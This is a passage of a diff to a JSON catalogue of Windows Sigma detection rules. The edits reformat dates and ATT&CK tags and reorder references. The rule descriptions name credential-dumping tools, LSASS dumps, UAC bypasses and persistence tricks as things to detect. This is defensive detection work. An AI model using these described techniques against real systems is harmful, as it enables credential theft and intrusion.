+13452,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_creation_system_dll_files.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036.005" ] }, @@ -13436,7 +13472,7 @@ "description": "Detects the creation of a file with the name \"code_tunnel.json\" which indicate execution and usage of VsCode tunneling utility by an \"Image\" or \"Process\" other than VsCode.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/10/25", + "creation_date": "2023-10-25", "falsepositive": [ "Unknown" ], @@ -13450,7 +13486,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_vscode_tunnel_renamed_execution.yml" ], "tags": [ - "attack.command_and_control" + "attack.command-and-control" ] }, "uuid": "d102b8f5-61dc-4e68-bd83-9a3187c67377", @@ -13460,7 +13496,7 @@ "description": "Detects Windows executables that write files with suspicious extensions", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/12", + "creation_date": "2022-08-12", "falsepositive": [ "Unknown" ], @@ -13473,7 +13509,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_shell_write_susp_files_extensions.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036" ] }, @@ -13493,7 +13529,7 @@ "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims.\nThe Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time.\n", "meta": { "author": "frack113, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2021/12/29", + "creation_date": "2021-12-29", "falsepositive": [ "Legitimate custom SHIM installations will also trigger this rule" ], @@ -13502,10 +13538,10 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://andreafortuna.org/2018/11/12/process-injection-and-persistence-using-application-shimming/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.011/T1546.011.md#atomic-test-2---new-shim-database-files-created-in-the-default-shim-database-directory", "https://www.mandiant.com/resources/blog/fin7-shim-databases-persistence", "https://liberty-shell.com/sec/2020/02/25/shim-persistence/", + "https://andreafortuna.org/2018/11/12/process-injection-and-persistence-using-application-shimming/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.011/T1546.011.md#atomic-test-2---new-shim-database-files-created-in-the-default-shim-database-directory", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_creation_new_shim_database.yml" ], "tags": [ @@ -13529,7 +13565,7 @@ "description": "Detects the pattern of UAC Bypass using consent.exe and comctl32.dll (UACMe 22)", "meta": { "author": "Christian Burkard (Nextron Systems)", - "creation_date": "2021/08/23", + "creation_date": "2021-08-23", "falsepositive": [ "Unknown" ], @@ -13542,8 +13578,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_consent_comctl32.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1548.002" ] }, @@ -13563,7 +13599,7 @@ "description": "Detects PowerShell writing startup shortcuts.\nThis procedure was highlighted in Red Canary Intel Insights Oct. 2021, \"We frequently observe adversaries using PowerShell to write malicious .lnk files into the startup directory to establish persistence.\nAccordingly, this detection opportunity is likely to identify persistence mechanisms in multiple threats.\nIn the context of Yellow Cockatoo, this persistence mechanism eventually launches the command-line script that leads to the installation of a malicious DLL\"\n", "meta": { "author": "Christopher Peacock '@securepeacock', SCYTHE", - "creation_date": "2021/10/24", + "creation_date": "2021-10-24", "falsepositive": [ "Depending on your environment accepted applications may leverage this at times. It is recommended to search for anomalies inidicative of malware." ], @@ -13572,8 +13608,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/36d49de4c8b00bf36054294b4a1fcbab3917d7c5/atomics/T1547.001/T1547.001.md#atomic-test-7---add-executable-shortcut-link-to-user-startup-folder", "https://redcanary.com/blog/intelligence-insights-october-2021/", + "https://github.com/redcanaryco/atomic-red-team/blob/36d49de4c8b00bf36054294b4a1fcbab3917d7c5/atomics/T1547.001/T1547.001.md#atomic-test-7---add-executable-shortcut-link-to-user-startup-folder", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_powershell_startup_shortcuts.yml" ], "tags": [ @@ -13597,7 +13633,7 @@ "description": "Files with well-known filenames (parts of credential dump software or files produced by them) creation", "meta": { "author": "Teymur Kheirkhabarov, oscd.community", - "creation_date": "2019/11/01", + "creation_date": "2019-11-01", "falsepositive": [ "Legitimate Administrator using tool for password recovery" ], @@ -13610,7 +13646,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cred_dump_tools_dropped_files.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.001", "attack.t1003.002", "attack.t1003.003", @@ -13662,7 +13698,7 @@ "description": "Detects the presence and execution of Inveigh via dropped artefacts", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/10/24", + "creation_date": "2022-10-24", "falsepositive": [ "Unlikely" ], @@ -13671,13 +13707,13 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/Kevin-Robertson/Inveigh/blob/29d9e3c3a625b3033cdaf4683efaafadcecb9007/Inveigh/Support/Output.cs", "https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/", + "https://github.com/Kevin-Robertson/Inveigh/blob/29d9e3c3a625b3033cdaf4683efaafadcecb9007/Inveigh/Support/Output.cs", "https://github.com/Kevin-Robertson/Inveigh/blob/29d9e3c3a625b3033cdaf4683efaafadcecb9007/Inveigh/Support/Control.cs", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_inveigh_artefacts.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1219" ] }, @@ -13697,7 +13733,7 @@ "description": "Detects programs on a Windows system that should not write scripts to disk", "meta": { "author": "frack113, Florian Roth (Nextron Systems)", - "creation_date": "2022/08/21", + "creation_date": "2022-08-21", "falsepositive": [ "Unknown" ], @@ -13710,7 +13746,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_legitimate_app_dropping_script.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -13730,7 +13766,7 @@ "description": "Detects creation of a file named \"ErrorHandler.cmd\" in the \"C:\\WINDOWS\\Setup\\Scripts\\\" directory which could be used as a method of persistence\nThe content of C:\\WINDOWS\\Setup\\Scripts\\ErrorHandler.cmd is read whenever some tools under C:\\WINDOWS\\System32\\oobe\\ (e.g. Setup.exe) fail to run for any reason.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/09", + "creation_date": "2022-08-09", "falsepositive": [ "Unknown" ], @@ -13739,8 +13775,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://www.hexacorn.com/blog/2022/01/16/beyond-good-ol-run-key-part-135/", "https://github.com/last-byte/PersistenceSniper", + "https://www.hexacorn.com/blog/2022/01/16/beyond-good-ol-run-key-part-135/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_errorhandler_persistence.yml" ], "tags": [ @@ -13754,7 +13790,7 @@ "description": "Detects the creation of files with an \"LNK\" as a second extension. This is sometimes used by malware as a method to abuse the fact that Windows hides the \"LNK\" extension by default.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), frack113", - "creation_date": "2022/11/07", + "creation_date": "2022-11-07", "falsepositive": [ "Some tuning is required for other general purpose directories of third party apps" ], @@ -13763,15 +13799,15 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://twitter.com/luc4m/status/1073181154126254080", - "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/", - "https://www.cybereason.com/blog/research/a-bazar-of-tricks-following-team9s-development-cycles", - "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations", "https://twitter.com/malwrhunterteam/status/1235135745611960321", + "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations", + "https://www.cybereason.com/blog/research/a-bazar-of-tricks-following-team9s-development-cycles", + "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/", + "https://twitter.com/luc4m/status/1073181154126254080", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_lnk_double_extension.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036.007" ] }, @@ -13791,7 +13827,7 @@ "description": "Detects creation of a file named \"ntds.dit\" (Active Directory Database) by an uncommon parent process or directory", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/03/11", + "creation_date": "2022-03-11", "falsepositive": [ "Unknown" ], @@ -13800,14 +13836,14 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://pentestlab.blog/tag/ntds-dit/", - "https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/", "https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Gather/Copy-VSS.ps1", + "https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/", "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration", + "https://pentestlab.blog/tag/ntds-dit/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ntds_dit_uncommon_parent_process.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.003" ] }, @@ -13827,7 +13863,7 @@ "description": "Detects the creation of files with an executable or script extension by an Office application.", "meta": { "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2021/08/23", + "creation_date": "2021-08-23", "falsepositive": [ "Unknown" ], @@ -13861,7 +13897,7 @@ "description": "This rule detects suspicious files created by Microsoft Sync Center (mobsync)", "meta": { "author": "elhoim", - "creation_date": "2022/04/28", + "creation_date": "2022-04-28", "falsepositive": [ "Unknown" ], @@ -13877,7 +13913,7 @@ "attack.t1055", "attack.t1218", "attack.execution", - "attack.defense_evasion" + "attack.defense-evasion" ] }, "related": [ @@ -13903,7 +13939,7 @@ "description": "Detects file creation events with filename patterns used by CrackMapExec.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2024/03/11", + "creation_date": "2024-03-11", "falsepositive": [ "Unknown" ], @@ -13916,7 +13952,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_crackmapexec_indicators.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.001" ] }, @@ -13936,7 +13972,7 @@ "description": "Detects the creation of files with scripting or executable extensions by Mysql daemon.\nWhich could be an indicator of \"User Defined Functions\" abuse to download malware.\n", "meta": { "author": "Joseph Kamau", - "creation_date": "2024/05/27", + "creation_date": "2024-05-27", "falsepositive": [ "Unknown" ], @@ -13945,12 +13981,12 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/honeypot-recon-mysql-malware-infection-via-user-defined-functions-udf/", "https://asec.ahnlab.com/en/58878/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/honeypot-recon-mysql-malware-infection-via-user-defined-functions-udf/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mysqld_uncommon_file_creation.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "c61daa90-3c1e-4f18-af62-8f288b5c9aaf", @@ -13960,7 +13996,7 @@ "description": "Detects files written by the different tools that exploit HiveNightmare", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/07/23", + "creation_date": "2021-07-23", "falsepositive": [ "Files that accidentally contain these strings" ], @@ -13969,16 +14005,16 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/GossiTheDog/HiveNightmare", - "https://github.com/WiredPulse/Invoke-HiveNightmare", "https://twitter.com/cube0x0/status/1418920190759378944", + "https://github.com/GossiTheDog/HiveNightmare", "https://github.com/FireFart/hivenightmare/", + "https://github.com/WiredPulse/Invoke-HiveNightmare", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_hivenightmare_file_exports.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1552.001", - "cve.2021.36934" + "cve.2021-36934" ] }, "related": [ @@ -13997,7 +14033,7 @@ "description": "Detects the creation of a macro file for Outlook.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/02/08", + "creation_date": "2023-02-08", "falsepositive": [ "Unlikely" ], @@ -14006,14 +14042,14 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/", "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=53", + "https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/", "https://www.linkedin.com/pulse/outlook-backdoor-using-vba-samir-b-/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_outlook_susp_macro_creation.yml" ], "tags": [ "attack.persistence", - "attack.command_and_control", + "attack.command-and-control", "attack.t1137", "attack.t1008", "attack.t1546" @@ -14049,7 +14085,7 @@ "description": "Detects the pattern of UAC Bypass using .NET Code Profiler and mmc.exe DLL hijacking (UACMe 39)", "meta": { "author": "Christian Burkard (Nextron Systems)", - "creation_date": "2021/08/30", + "creation_date": "2021-08-30", "falsepositive": [ "Unknown" ], @@ -14062,8 +14098,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_dotnet_profiler.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1548.002" ] }, @@ -14083,7 +14119,7 @@ "description": "Detects file write event from/to a fake recycle bin folder that is often used as a staging directory for malware", "meta": { "author": "X__Junior (Nextron Systems)", - "creation_date": "2023/07/12", + "creation_date": "2023-07-12", "falsepositive": [ "Unknown" ], @@ -14092,13 +14128,13 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://www.mandiant.com/resources/blog/infected-usb-steal-secrets", "https://unit42.paloaltonetworks.com/cloaked-ursa-phishing/", + "https://www.mandiant.com/resources/blog/infected-usb-steal-secrets", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_recycle_bin_fake_exec.yml" ], "tags": [ "attack.persistence", - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "cd8b36ac-8e4a-4c2f-a402-a29b8fbd5bca", @@ -14108,7 +14144,7 @@ "description": "Detects the presence of an LSASS dump file in the \"CrashDumps\" folder. This could be a sign of LSASS credential dumping. Techniques such as the LSASS Shtinkering have been seen abusing the Windows Error Reporting to dump said process.", "meta": { "author": "@pbssubhash", - "creation_date": "2022/12/08", + "creation_date": "2022-12-08", "falsepositive": [ "Rare legitimate dump of the process by the operating system due to a crash of lsass" ], @@ -14117,12 +14153,12 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://media.defcon.org/DEF%20CON%2030/DEF%20CON%2030%20presentations/Asaf%20Gilboa%20-%20LSASS%20Shtinkering%20Abusing%20Windows%20Error%20Reporting%20to%20Dump%20LSASS.pdf", "https://github.com/deepinstinct/Lsass-Shtinkering", + "https://media.defcon.org/DEF%20CON%2030/DEF%20CON%2030%20presentations/Asaf%20Gilboa%20-%20LSASS%20Shtinkering%20Abusing%20Windows%20Error%20Reporting%20to%20Dump%20LSASS.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_lsass_shtinkering.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.001" ] }, @@ -14142,7 +14178,7 @@ "description": "Detects the creation of the default output filename used by the wmiexec tool", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/06/02", + "creation_date": "2022-06-02", "falsepositive": [ "Unlikely" ], @@ -14151,12 +14187,12 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://www.crowdstrike.com/blog/how-to-detect-and-prevent-impackets-wmiexec/", "https://github.com/fortra/impacket/blob/f4b848fa27654ca95bc0f4c73dbba8b9c2c9f30a/examples/wmiexec.py", + "https://www.crowdstrike.com/blog/how-to-detect-and-prevent-impackets-wmiexec/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_wmiexec_default_filename.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1047" ] }, @@ -14176,7 +14212,7 @@ "description": "Detects the creation of a ISO file in the Outlook temp folder or in the Appdata temp folder. Typical of Qakbot TTP from end-July 2022.", "meta": { "author": "@sam0x90", - "creation_date": "2022/07/30", + "creation_date": "2022-07-30", "falsepositive": [ "Potential FP by sysadmin opening a zip file containing a legitimate ISO file" ], @@ -14185,13 +14221,13 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ + "https://securityaffairs.co/wordpress/133680/malware/dll-sideloading-spread-qakbot.html", "https://twitter.com/Sam0x90/status/1552011547974696960", "https://github.com/redcanaryco/atomic-red-team/blob/0f229c0e42bfe7ca736a14023836d65baa941ed2/atomics/T1553.005/T1553.005.md#atomic-test-1---mount-iso-image", - "https://securityaffairs.co/wordpress/133680/malware/dll-sideloading-spread-qakbot.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_iso_file_mount.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1566.001" ] }, @@ -14211,7 +14247,7 @@ "description": "Detects the creation of suspcious binary files inside the \"\\windows\\system32\\spool\\drivers\\color\\\" as seen in the blog referenced below", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/28", + "creation_date": "2022-07-28", "falsepositive": [ "Unknown" ], @@ -14224,7 +14260,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_spool_drivers_color_drop.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "ce7066a6-508a-42d3-995b-2952c65dc2ce", @@ -14234,7 +14270,7 @@ "description": "Detects suspicious file type dropped by an Exchange component in IIS", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/10/04", + "creation_date": "2022-10-04", "falsepositive": [ "Unknown" ], @@ -14243,15 +14279,15 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://en.gteltsc.vn/blog/cap-nhat-nhe-ve-lo-hong-bao-mat-0day-microsoft-exchange-dang-duoc-su-dung-de-tan-cong-cac-to-chuc-tai-viet-nam-9685.html", "https://www.microsoft.com/security/blog/2022/09/30/analyzing-attacks-using-the-exchange-vulnerabilities-cve-2022-41040-and-cve-2022-41082/", + "https://en.gteltsc.vn/blog/cap-nhat-nhe-ve-lo-hong-bao-mat-0day-microsoft-exchange-dang-duoc-su-dung-de-tan-cong-cac-to-chuc-tai-viet-nam-9685.html", "https://www.gteltsc.vn/blog/canh-bao-chien-dich-tan-cong-su-dung-lo-hong-zero-day-tren-microsoft-exchange-server-12714.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_exchange_webshell_drop_suspicious.yml" ], "tags": [ "attack.persistence", "attack.t1190", - "attack.initial_access", + "attack.initial-access", "attack.t1505.003" ] }, @@ -14278,7 +14314,7 @@ "description": "Detects the creation of the LiveKD driver, which is used for live kernel debugging", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/16", + "creation_date": "2023-05-16", "falsepositive": [ "Legitimate usage of LiveKD for debugging purposes will also trigger this" ], @@ -14291,8 +14327,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_sysinternals_livekd_driver.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation" + "attack.defense-evasion", + "attack.privilege-escalation" ] }, "uuid": "16fe46bb-4f64-46aa-817d-ff7bec4a2352", @@ -14302,7 +14338,7 @@ "description": "Detects the creation of the default dump file used by Outflank Dumpert tool. A process dumper, which dumps the lsass process memory", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2020/02/04", + "creation_date": "2020-02-04", "falsepositive": [ "Very unlikely" ], @@ -14311,12 +14347,12 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/outflanknl/Dumpert", "https://unit42.paloaltonetworks.com/actors-still-exploiting-sharepoint-vulnerability/", + "https://github.com/outflanknl/Dumpert", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_dumpert.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.001" ] }, @@ -14336,7 +14372,7 @@ "description": "Detects the creation of an \"Active Directory Schema Cache File\" (.sch) file by an uncommon tool.", "meta": { "author": "xknow @xknow_infosec, Tim Shelton", - "creation_date": "2019/03/24", + "creation_date": "2019-03-24", "falsepositive": [ "Other legimate tools, which do ADSI (LDAP) operations, e.g. any remoting activity by MMC, Powershell, Windows etc." ], @@ -14345,14 +14381,14 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/fox-it/LDAPFragger", - "https://medium.com/@ivecodoe/detecting-ldapfragger-a-newly-released-cobalt-strike-beacon-using-ldap-for-c2-communication-c274a7f00961", "https://blog.fox-it.com/2020/03/19/ldapfragger-command-and-control-over-ldap-attributes/", + "https://medium.com/@ivecodoe/detecting-ldapfragger-a-newly-released-cobalt-strike-beacon-using-ldap-for-c2-communication-c274a7f00961", + "https://github.com/fox-it/LDAPFragger", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_adsi_cache_creation_by_uncommon_tool.yml" ], "tags": [ "attack.t1001.003", - "attack.command_and_control" + "attack.command-and-control" ] }, "related": [ @@ -14371,7 +14407,7 @@ "description": "Detects the creation of a new office macro files on the systems", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/01/23", + "creation_date": "2022-01-23", "falsepositive": [ "Very common in environments that rely heavily on macro documents" ], @@ -14380,12 +14416,12 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1566.001/T1566.001.md", "https://learn.microsoft.com/en-us/deployoffice/compat/office-file-format-reference", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1566.001/T1566.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_macro_files_created.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1566.001" ] }, @@ -14405,7 +14441,7 @@ "description": "Detects potential privilege escalation attempt via the creation of the \"*.Exe.Local\" folder inside the \"System32\" directory in order to sideload \"comctl32.dll\"", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Subhash P (@pbssubhash)", - "creation_date": "2022/12/16", + "creation_date": "2022-12-16", "falsepositive": [ "Unknown" ], @@ -14419,9 +14455,9 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_system32_local_folder_privilege_escalation.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", - "attack.privilege_escalation" + "attack.privilege-escalation" ] }, "uuid": "07a99744-56ac-40d2-97b7-2095967b0e03", @@ -14431,7 +14467,7 @@ "description": "Detects the creation of hidden file/folder with the \"::$index_allocation\" stream. Which can be used as a technique to prevent access to folder and files from tooling such as \"explorer.exe\" and \"powershell.exe\"\n", "meta": { "author": "Scoubi (@ScoubiMtl)", - "creation_date": "2023/10/09", + "creation_date": "2023-10-09", "falsepositive": [ "Unlikely" ], @@ -14440,15 +14476,15 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://sec-consult.com/blog/detail/pentesters-windows-ntfs-tricks-collection/", - "https://github.com/redcanaryco/atomic-red-team/blob/5c3b23002d2bbede3c07e7307165fc2a235a427d/atomics/T1564.004/T1564.004.md#atomic-test-5---create-hidden-directory-via-index_allocation", "https://twitter.com/pfiatde/status/1681977680688738305", "https://soroush.me/blog/2010/12/a-dotty-salty-directory-a-secret-place-in-ntfs-for-secret-files/", + "https://github.com/redcanaryco/atomic-red-team/blob/5c3b23002d2bbede3c07e7307165fc2a235a427d/atomics/T1564.004/T1564.004.md#atomic-test-5---create-hidden-directory-via-index_allocation", + "https://sec-consult.com/blog/detail/pentesters-windows-ntfs-tricks-collection/", "https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/c54dec26-1551-4d3a-a0ea-4fa40f848eb3", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_hidden_dir_index_allocation.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1564.004" ] }, @@ -14468,7 +14504,7 @@ "description": "Get-Variable is a valid PowerShell cmdlet\nWindowsApps is by default in the path where PowerShell is executed.\nSo when the Get-Variable command is issued on PowerShell execution, the system first looks for the Get-Variable executable in the path and executes the malicious binary instead of looking for the PowerShell cmdlet.\n", "meta": { "author": "frack113", - "creation_date": "2022/04/23", + "creation_date": "2022-04-23", "falsepositive": [ "Unknown" ], @@ -14477,14 +14513,14 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/", "https://www.joesandbox.com/analysis/465533/0/html", + "https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_get_variable.yml" ], "tags": [ "attack.persistence", "attack.t1546", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027" ] }, @@ -14511,7 +14547,7 @@ "description": "Detects a file ending in jse, vbe, js, vba, vbs written by cscript.exe or wscript.exe", "meta": { "author": "Tim Shelton", - "creation_date": "2022/01/10", + "creation_date": "2022-01-10", "falsepositive": [ "Unknown" ], @@ -14552,7 +14588,7 @@ "description": "Detects dropped files with double extensions, which is often used by malware as a method to abuse the fact that Windows hide default extensions by default.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), frack113", - "creation_date": "2022/06/19", + "creation_date": "2022-06-19", "falsepositive": [ "Unlikely" ], @@ -14561,15 +14597,15 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://twitter.com/luc4m/status/1073181154126254080", - "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/", - "https://www.cybereason.com/blog/research/a-bazar-of-tricks-following-team9s-development-cycles", - "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations", "https://twitter.com/malwrhunterteam/status/1235135745611960321", + "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations", + "https://www.cybereason.com/blog/research/a-bazar-of-tricks-following-team9s-development-cycles", + "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/", + "https://twitter.com/luc4m/status/1073181154126254080", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_double_extension.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036.007" ] }, @@ -14589,7 +14625,7 @@ "description": "Detects attempts to create a DLL file to a known desktop application dependencies folder such as Slack, Teams or OneDrive and by an unusual process. This may indicate an attempt to load a malicious module via DLL search order hijacking.", "meta": { "author": "Tim Rauch (rule), Elastic (idea)", - "creation_date": "2022/10/21", + "creation_date": "2022-10-21", "falsepositive": [ "Unknown" ], @@ -14598,17 +14634,17 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://posts.specterops.io/automating-dll-hijack-discovery-81c4295904b0", "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-5d46dd4ac6866b4337ec126be8cee0e115467b3e8703794ba6f6df6432c806bc", + "https://posts.specterops.io/automating-dll-hijack-discovery-81c4295904b0", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_initial_access_dll_search_order_hijacking.yml" ], "tags": [ "attack.t1566", "attack.t1566.001", - "attack.initial_access", + "attack.initial-access", "attack.t1574", "attack.t1574.001", - "attack.defense_evasion" + "attack.defense-evasion" ] }, "related": [ @@ -14648,7 +14684,7 @@ "description": "Detects suspicious files created via the OneNote application. This could indicate a potential malicious \".one\"/\".onepkg\" file was executed as seen being used in malware activity in the wild", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/02/09", + "creation_date": "2023-02-09", "falsepositive": [ "False positives should be very low with the extensions list cited. Especially if you don't heavily utilize OneNote.", "Occasional FPs might occur if OneNote is used internally to share different embedded documents" @@ 